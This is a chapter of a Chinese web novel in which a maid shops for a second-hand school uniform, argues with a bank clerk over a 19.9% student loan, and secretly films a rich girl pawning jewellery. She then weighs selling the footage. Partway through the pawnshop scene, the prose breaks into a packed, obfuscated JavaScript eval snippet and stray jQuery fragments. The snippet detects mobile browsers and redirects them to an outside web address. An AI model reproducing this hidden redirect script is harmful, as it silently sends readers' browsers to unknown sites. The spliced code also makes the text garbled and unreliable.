裴家晚宴在论坛掀起一页讨论帖的腥风血雨，谈论点聚焦在裴家和裴湛身上。


    比如他的致辞如何笼络人心，比如他和郑梨是什么关系，有一部分梦女梦男粉不敢相信，昔日他们眼中的猪妞今日竟可以和裴湛如此亲密地合影。


    温如漾刷着论坛，有时候也会感谢圣格伦斯人的势利眼，上层阶级的人士可不会浪费宝贵的时间来八卦她这个下流的女仆。


    -


    城心区，今日晴。


    每周一天的休息日，温如漾从裴家庄园里出来透透气。


    但今日出行的目的显然不只是透气。


    她整装待发离开裴家，拿着通讯器鬼鬼祟祟在跟郑梨通话：“梨子，我想问一下，圣格伦斯的校服是必须从校方指定店铺买吗？”


    温如漾继续压低声音：“我有没有可能找人做一套差不多的……嗯，手工复刻版？”


    她现在只能寄希望于联邦的假货市场也和前世一样蒸蒸日上。


    郑梨的语音顿了顿，有点迟疑：“比较困难，主要是圣格伦斯校服的布料是云纹棉，它是一种特殊布料。”


    “联邦纺织法对它的产能做了约束，全联邦大概十家不到的工厂有生产权限，且被规定只能直接供给像珀犀、拉塞尔这种高级成衣品牌店。”


    “手工制作的话，只有一些大师级裁缝可以1:1复刻，但他们的手工定制作品，价格至少是成衣店的三四倍。”


    温如漾一边听一边走到公交站口，登上双层巴士的时候，心已凉透：“那我就真的得从珀犀花八千八百八十八买一件衣服？”


    郑梨说：“其实还有个办法，你去二手网站上看看有没有人卖，近两年圣格伦斯校服的设计都没有改动，买来重新熨烫一下就可以。


    “还有！城心区第八号大道有一家二手回收店铺，就叫八号当铺，顺路的话也可以看看。”


    温如漾不觉得大部分有经济条件上圣格伦斯的人会卖自己的二手校服，但综合来说这确实值得一试。


    她在通讯器上摸索着下了好几个二手交易APP，什么咸鱼赚赚爱收收，统统注册完毕。


    公交车穿过城心区的繁华街道，温如漾坐在巴士二层埋头在这三个平台发布了“收圣格伦斯二手校服”的帖子。


    巴士到达联邦银行城心支行站，温如漾下车。


    -


    联邦银行似乎每天都业务兴隆人声鼎沸，但不同于其他柜台的热络繁忙，温如漾所在的柜台床头格外安静。


    她沉默地坐在柜台前，和西装革履的业务员小张大眼瞪小眼。


    “我再确认一下，这里是哪里？”温如漾平静问道。


    “温女士，这个问题我已经回答三次了。这里是联邦银行城心支行，我是业务员小张，很高兴为您服务。”小张眨巴眼睛说道。


    温如漾深吸一口气，把手里的助学贷宣传手册甩到桌上，不在沉默中爆发就在沉默中灭亡。


    “你们是银行啊银行，又不是地下钱庄，这真的不是高利贷吗！”


    助学贷手册对阶梯利率有了详细的明码标价，就读于普通平民学校的学生贷款利率是5%-15%不等，但最上面一栏赫然写着就读于圣格伦斯的学生贷款利率是19.9%。


    小张解释：“我行根据不同学校学生潜力和未来价值进行了精准评估，据我们推测，圣格伦斯学生潜力是最大的。”


    温如漾：“你看错人了，我没有潜力。”


    小张乐呵呵地恭维：“您是联邦未来盛放的鲜花，是当今社会顶梁柱人才，不要妄自菲薄！”


    温如漾面无表情：“其实我骗了你，我是联邦下等平民学院的学生。”


    “您的录取通知书需要作为贷款申请材料。”小张依旧标准微笑。


    “我现在去假冒伪劣一份offer，来得及吗？”温如漾准备用真诚打败吸血鬼银行。


    小张道：“建议您三思而后行，如果材料造假被发现，您将面临巨额罚款。”


    温如漾：“多少钱？”


    “五千联邦币至一万五千联邦币不等。”小张不明白她问这个的用意。


    温如漾冷笑一声：“呵呵，比你们利息低。”


    小张：“……”


    不怎么愉快的业务咨询对话到此就结束。


    温如决定多找几家对比，小张依旧扒着窗口恋恋不舍：“您再考虑一下，我们银行的服务真的很好的！”


    温如漾义正严辞：“服务好算什么？我要是收将近20%的利息，我可以当客户的狗！”


    小张内心挣扎了一会：“汪汪？”


    “……”


    事情越来越诡异了，温如漾觉得此地实在不宜久留，需要迅速撤离。


    临走前抓了一把银行提供的免费糖果，唉，生活苦啊！


    -


    下一个目的地是第八大街的八号当铺，温如漾跟着导航绕了远路才到了路边的巷子。


    店铺门口的过道有点狭窄，但是门口古朴的牌匾和铜制风铃显得店铺相当神秘且富有底蕴。


    温如漾推门半晌，才发现这扇门是用拉的，使劲拉开了门，风铃随着她的进入发出一阵响动。


    店铺里的交谈声盖住了风铃的声音。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16993396|193836||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    眼前一位女生正在专心致志跟老板争执，她穿着一套黑色休闲服，戴着口罩，一副掩人耳目的模样。


    女生压低声音：“什么？！我这么多首饰居然只值九万联邦币？拜托，专柜价加起来都超过十九万了！”


    老板戴着小圆墨镜，老神在在道：“这是本店能给到的最优价，如果客人您无法接受，可以另寻他店。”


    女生咬唇，把口罩半拉在下颌处，露出一张精致的脸，声音也比刚才更柔和了一些，透着股惹人怜爱的软绵：“老板，拜托您……”


    “夹子音也没用。”老板继续用墨镜装瞎。


    老板实在是在商言商不懂怜香惜玉，温如漾看得有滋有味，感叹还是大城市八卦多，哪哪都是热闹。


    女生并没有放弃，摘下口罩，忽闪忽闪的大眼睛对老板进行电眼攻击。


    温如漾眯起眼睛，她过目不忘的识人能力发动。


    这不正是楚玫吗！


    楚玫和刘嘉豪的吃嘴子照片还在她通讯器里存着呢！


    不对，楚玫不是传说中的大小姐吗，怎么也要出来典当首饰珠宝？


    温如漾又一次陷入震撼。


    楚玫真有点太触霉了，每次都被她撞见，赶紧改个名吧。


    此刻温如漾通讯器亮了一下，显示赚赚APP来消息了，她手忙脚乱从包里拿出通讯器，不小心误触了相机快捷拍摄键，站在柜台前跟老板实施美人计的楚玫显示在画面中央。


    ……


    温如漾愣神看了看拍好的照片。


    人的行为果然是会被无形的命运所牵引，她现在的行为简直就是一个专业金牌狗仔。


    反正拍都拍了，不如全拍了。


    不然怎么对得起她吃瓜大王的id？


    温如漾找准位置，又借着货架遮挡，落地窗的正向光，灵活变换角度，录下了楚玫典当首饰以及老板清点核价的全过程。


    眼看着楚玫马上要离店，她不敢逗留，径自离开店铺，躲在了隔壁的巷角处检查素材。


    她一边欣赏自己的偷拍技术一边琢磨，这种把柄在手，要是卖给楚玫的死对头，能赚多少？


    要是卖给八卦周刊，能赚多少？


    好像梨子跟她也有过节，还是先留着当战略储备素材，以防之后撕逼没黑料发。


    切回赚赚APP，她求购校服帖子下面多了一条评论。


    【正义何时到来：原价出1折圣格伦斯女生S码校服，9新，第九大街面交。】


    还有这等好事？


    温如漾果断回复：现在可以吗？


    对方很快秒回：OK。